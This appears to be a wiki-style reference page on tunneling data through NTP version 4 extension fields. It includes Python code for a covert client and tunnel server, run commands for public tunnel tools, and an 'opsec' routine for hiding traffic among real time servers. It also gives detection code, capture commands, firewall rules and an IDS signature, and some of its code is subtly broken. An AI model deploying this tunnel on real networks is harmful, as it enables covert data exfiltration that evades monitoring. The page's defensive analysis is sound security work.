ntp extension field tunneling

ntp extension field tunneling exploits network time protocol version 4 extension fields to carry arbitrary data. the virus bulletin implementation by nikolaos tsapakis demonstrated 300-500 bytes per packet capacity using random field types to evade detection.

technical description

ntp v4 (rfc 5905) introduced extension fields for future protocol enhancements:

  • standard ntp packet: 48 bytes
  • with extensions: up to 65535 bytes theoretically
  • practical limit: ~500 bytes to avoid fragmentation
  • multiple extension fields allowed per packet
  • field types largely undefined, allowing arbitrary values

packet structure:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Root Delay                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Root Dispersion                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Reference ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Reference Timestamp (64)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Origin Timestamp (64)                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Receive Timestamp (64)                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Transmit Timestamp (64)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Extension Field 1 (variable)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ...                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

virus bulletin implementation

nikolaos tsapakis research

key findings from virus bulletin presentation:

  • random extension field types avoid signature detection
  • 300-500 bytes practical payload per packet
  • minimal impact on ntp functionality
  • works through firewalls allowing ntp

extension field structure

import struct
import random

class NTPExtensionField:
    def __init__(self, data, field_type=None):
        self.data = data
        # use random field type if not specified
        self.field_type = field_type or random.randint(0x8000, 0xFFFF)
        self.length = len(data) + 4  # data + header

    def pack(self):
        """pack extension field for transmission"""
        # field type (2 bytes) + length (2 bytes) + data
        header = struct.pack('!HH', self.field_type, self.length)

        # pad to 4-byte boundary
        padding = (4 - (len(self.data) % 4)) % 4
        padded_data = self.data + b'\x00' * padding

        return header + padded_data

    @staticmethod
    def unpack(data):
        """unpack extension field from packet"""
        field_type, length = struct.unpack('!HH', data[:4])
        payload = data[4:length]
        return NTPExtensionField(payload, field_type)

implementation

ntp packet with covert data

import socket
import struct
import time

class NTPCovertChannel:
    def __init__(self, server='pool.ntp.org', port=123):
        self.server = server
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    def create_ntp_packet(self, covert_data=None):
        """create ntp packet with optional extension field"""
        # ntp header (48 bytes)
        # li=0, vn=4, mode=3 (client)
        byte1 = 0b00100011  # 00 100 011

        # standard ntp fields
        packet = struct.pack('!BBBb11I',
            byte1,  # li, vn, mode
            0,      # stratum
            6,      # poll
            0xFA,   # precision
            0, 0,   # root delay
            0,      # root dispersion
            0,      # reference id
            0, 0,   # reference timestamp
            0, 0,   # origin timestamp
            0, 0,   # receive timestamp
            int(time.time()) + 2208988800, 0  # transmit timestamp
        )

        # add extension field with covert data
        if covert_data:
            ext = NTPExtensionField(covert_data)
            packet += ext.pack()

        return packet

    def send_covert_message(self, message):
        """send message via ntp extension fields"""
        # chunk message into 300-byte pieces
        chunk_size = 300
        chunks = [message[i:i+chunk_size]
                 for i in range(0, len(message), chunk_size)]

        for chunk in chunks:
            packet = self.create_ntp_packet(chunk)
            self.socket.sendto(packet, (self.server, self.port))
            time.sleep(1)  # avoid flooding

    def receive_ntp_response(self):
        """receive and extract covert data from response"""
        data, addr = self.socket.recvfrom(1024)

        if len(data) > 48:  # has extension fields
            # skip ntp header
            extensions_data = data[48:]

            # extract extension field
            ext = NTPExtensionField.unpack(extensions_data)
            return ext.data

        return None

bidirectional communication

def ntp_tunnel_server(listen_port=123):
    """ntp server with covert channel capability"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', listen_port))

    while True:
        data, addr = sock.recvfrom(1024)

        # extract covert data from request
        if len(data) > 48:
            covert_in = data[48:]
            process_incoming_data(covert_in)

        # create response with covert data
        response = create_ntp_response()
        covert_out = get_outgoing_data()

        if covert_out:
            ext = NTPExtensionField(covert_out)
            response += ext.pack()

        sock.sendto(response, addr)

github implementations

jhu ntp covert channel

https://github.com/lacraig2/jhu_ntp_covert_channel:

# clone and compile
git clone https://github.com/lacraig2/JHU_NTP_Covert_Channel.git
cd JHU_NTP_Covert_Channel
make

# run server
sudo ./ntp_covert_server

# run client
./ntp_covert_client server_ip "message to send"

ntp-tunnel

https://github.com/b00tk1d/ntp-tunnel:

# basic tunnel setup
./ntp-tunnel -s server_ip -p 123

# with encryption
./ntp-tunnel -s server_ip -e aes256 -k password

ntptunnel

ricklahaye/ntptunnel - educational implementation (repository currently unavailable/private)

academic research

49 distinct ntp covert channels

pattern-based taxonomy identifies:

  1. header fields (14 channels):

    • leap indicator manipulation
    • version number unused bits
    • stratum value encoding
    • poll interval patterns
  2. timestamp manipulation (12 channels):

    • fractional seconds encoding
    • timestamp differences
    • precision field abuse
  3. extension fields (8 channels):

    • arbitrary field types
    • multiple extensions
    • padding exploitation
  4. protocol behavior (15 channels):

    • query frequency patterns
    • symmetric/asymmetric modes
    • authentication fields

detection methods

packet size analysis

def detect_ntp_extensions(packet):
    """detect suspicious ntp packets"""

    # standard ntp packet is 48 bytes
    if len(packet) > 48:
        extension_size = len(packet) - 48

        if extension_size > 100:  # unusual extension
            return "suspicious"

        # check for known extension types
        if len(packet) >= 52:
            ext_type = struct.unpack('!H', packet[48:50])[0]

            # legitimate extension types (nts, etc)
            legitimate_types = [0x0104, 0x0204, 0x0304]

            if ext_type not in legitimate_types:
                return "unknown extension type"

    return "clean"

traffic pattern analysis

# monitor ntp packets >48 bytes
tcpdump -i eth0 'udp port 123 and greater 68' -w suspicious_ntp.pcap

# analyze with tshark
tshark -r suspicious_ntp.pcap -T fields \
  -e frame.len \
  -e ntp.flags \
  -e data.data | \
  awk '$1 > 48 {print}'

statistical detection

from scipy import stats

def statistical_ntp_analysis(packets):
    """detect anomalous ntp traffic"""

    sizes = [len(p) for p in packets]

    # normal ntp: mostly 48 bytes
    # covert channel: varied sizes

    if np.std(sizes) > 50:  # high variance
        return "possible covert channel"

    # check for periodic large packets
    large_packets = [i for i, s in enumerate(sizes) if s > 48]
    if len(large_packets) > 0:
        intervals = np.diff(large_packets)
        if np.std(intervals) < 2:  # regular pattern
            return "periodic extension fields detected"

    return "normal"

countermeasures

firewall rules

# block ntp packets with extensions
iptables -A FORWARD -p udp --dport 123 \
  -m length --length 49:65535 -j DROP

# allow only standard ntp
iptables -A FORWARD -p udp --dport 123 \
  -m length --length 48 -j ACCEPT

ntp proxy filtering

def ntp_proxy_filter(packet):
    """strip extension fields from ntp packets"""

    if len(packet) > 48:
        # keep only standard ntp header
        filtered = packet[:48]
        return filtered

    return packet

ids rules

# suricata rule
alert udp any any -> any 123 (
    msg:"ntp extension field covert channel";
    dsize:>48;
    content:"|00 7b|"; offset:0; depth:2;
    threshold: type limit, track by_src, count 5, seconds 60;
    sid:1000007;
)

performance characteristics

bandwidth

  • payload: 300-500 bytes per packet
  • overhead: ~52 bytes (48 ntp + 4 extension header)
  • efficiency: 85-90%
  • practical throughput: 10-50 kb/s

reliability

def calculate_ntp_channel_metrics():
    """calculate channel performance"""

    packet_size = 500  # bytes
    packets_per_second = 10  # avoid detection
    packet_loss = 0.01

    # theoretical bandwidth
    bandwidth = packet_size * packets_per_second * 8  # bits/sec

    # effective bandwidth with loss
    effective = bandwidth * (1 - packet_loss)

    # with error correction overhead (25%)
    usable = effective * 0.75

    return {
        'theoretical_bps': bandwidth,
        'effective_bps': effective,
        'usable_bps': usable
    }

advantages and limitations

advantages

  • high capacity (300-500 bytes/packet)
  • ntp rarely blocked
  • works through nat
  • legitimate cover traffic
  • bidirectional communication

limitations

  • packets >48 bytes suspicious
  • limited to udp
  • requires ntp infrastructure
  • easily filtered at firewall
  • extension fields uncommon

real-world considerations

deployment scenarios

  • corporate networks with ntp synchronization
  • iot devices using ntp
  • cloud infrastructure time sync
  • academic/research networks

operational security

def opsec_ntp_tunnel():
    """operational security measures"""

    # use legitimate ntp servers as cover
    legitimate_servers = [
        'time.google.com',
        'time.cloudflare.com',
        'pool.ntp.org'
    ]

    # randomize server selection
    server = random.choice(legitimate_servers)

    # add jitter to timing
    delay = random.uniform(60, 300)  # 1-5 minutes

    # limit data rate
    max_bytes_per_hour = 10000

    return server, delay, max_bytes_per_hour

testing setup

lab environment

# setup ntp server with extension support
apt install chrony

# configure for testing
cat >> /etc/chrony/chrony.conf << EOF
allow 192.168.1.0/24
local stratum 10
EOF

# restart service
systemctl restart chrony

# test with extension fields
python ntp_extension_test.py

# capture traffic
tcpdump -i any -w ntp_tunnel.pcap 'port 123'

validation

def validate_ntp_tunnel(pcap_file):
    """verify covert channel operation"""
    from scapy.all import rdpcap

    packets = rdpcap(pcap_file)
    ntp_packets = [p for p in packets if p.haslayer(UDP) and p[UDP].dport == 123]

    extensions_found = 0
    total_covert_bytes = 0

    for p in ntp_packets:
        payload = bytes(p[UDP].payload)
        if len(payload) > 48:
            extensions_found += 1
            total_covert_bytes += len(payload) - 48

    print(f"packets with extensions: {extensions_found}")
    print(f"total covert data: {total_covert_bytes} bytes")

references

  • “hide and seek with ntp” - virus bulletin conference, nikolaos tsapakis
  • rfc 5905: network time protocol version 4
  • “a pattern-based survey and categorization of network covert channels” - steffen wendzel
  • “covert channels in ntp” - ieee communications
  • jhu ntp implementation: https://github.com/lacraig2/jhu_ntp_covert_channel
on this page